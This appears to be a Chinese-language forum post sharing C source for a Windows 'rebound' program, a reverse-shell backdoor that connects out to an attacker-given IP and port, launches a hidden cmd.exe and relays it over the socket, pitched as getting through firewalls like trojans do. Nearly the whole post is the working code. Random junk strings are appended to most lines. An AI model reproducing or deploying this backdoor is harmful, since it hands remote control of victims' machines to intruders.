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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 P;y45b  
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/* ============================== P{`C^W$J^  
Rebound port in Windows NT v~+(GqR=+  
By wind,2006/7 M.D1XX 1/  
===============================*/ `RT>}_j  
#include YDsb3X<0'  
#include mUC)gA/  
^0 )g/`H^>  
#pragma comment(lib,"wsock32.lib") "!P3R1;%  
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void OutputShell(); ;C#F>SG\S  
SOCKET sClient; `7Q<'oK  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "^[ 'y7i  
CkC^'V)  
void main(int argc,char **argv) @s&71a  
{ 2|y"!JqE1  
WSADATA stWsaData; 3NqB <J  
int nRet; h&iC;yj=  
SOCKADDR_IN stSaiClient,stSaiServer; mIvx1_[  
l4YbKnp]  
if(argc != 3) .sW|Id )  
{ !,uE]gwLw  
printf("Useage:\n\rRebound DestIP DestPort\n"); M?49TOQA  
return; <}Vrl`?h  
} ",t?8465y  
}K>d+6qk5  
WSAStartup(MAKEWORD(2,2),&stWsaData); 'BxX0  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zk+9'r`-D  
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stSaiClient.sin_family = AF_INET; }#+^{P3;  
stSaiClient.sin_port = htons(0); I{&[[7H  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); uMv,zO5  
cZ*@$%_  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Hio0HL-  
{ .43'HV  
printf("Bind Socket Failed!\n"); y<3-?}.aZ  
return; ttQGoUkj  
} Kw^7>\  
W i.& e  
stSaiServer.sin_family = AF_INET; ^ +\dz  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G4;Oi=  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Z\rwO>3  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) G!##X: 6'  
{ n8[!pH~6  
printf("Connect Error!"); #X$\&,Yn"  
return; RP|`HkP-2  
} R\f+SvE  
OutputShell(); lVa%$F{Pq  
} y.k~Y0  
M3y NAN  
void OutputShell() Y@iS_lR  
{ ; 2#y7!  
char szBuff[1024]; (9 d&  
SECURITY_ATTRIBUTES stSecurityAttributes; fOrH$?  
OSVERSIONINFO stOsversionInfo; 0mVNQxHI  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; N"R]Yp;j  
STARTUPINFO stStartupInfo; ?^{Ah}x  
char *szShell; ajT*/L!0_  
PROCESS_INFORMATION stProcessInformation; J;e2&gB  
unsigned long lBytesRead; i]4I [!  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .<FH>NW)  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); JbbzV>  
stSecurityAttributes.lpSecurityDescriptor = 0; q`-N7 ,$T  
stSecurityAttributes.bInheritHandle = TRUE; 3hH<T.@)  
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w& #]-|$  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yyJ  f%{  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "S]TP$O D  
e T{ 4{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +'a^f5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0OE:[pR  
stStartupInfo.wShowWindow = SW_HIDE; /~?*=}c^m  
stStartupInfo.hStdInput = hReadPipe; O/C rd/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p2](_}PK  
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GetVersionEx(&stOsversionInfo); L2z[   
* u>\57W  
switch(stOsversionInfo.dwPlatformId) Q%G8U#Tm  
{ niyV8v  
case 1: aFYIM`?(  
szShell = "command.com"; 6{b >p+U  
break; S\=Nn7"  
default: ?a5!H*,  
szShell = "cmd.exe"; 0h_|t-9j  
break; 3pKQ$\u  
} H{wl% G  
7:1Lol-V  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 25?6gu*Z  
:F?C)F  
send(sClient,szMsg,77,0); } Kgy  
while(1) e"<OELA  
{ K0>zxqY  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); W6Fo6a"<  
if(lBytesRead) (<9u-HF#  
{ k,*XG$2h  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k(HUUH_z  
send(sClient,szBuff,lBytesRead,0); hgq;`_;1,  
} 4WB0Pt{  
else /N{*"s2)  
{ 9'B `]/L  
lBytesRead=recv(sClient,szBuff,1024,0); ]f_p 8?j"  
if(lBytesRead<=0) break; 5H^ (2w  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <hyKu  
} B@ EC5Ap*  
} l/5 hp.  
'g\4O3&_  
return; XCQs2CHt  
}
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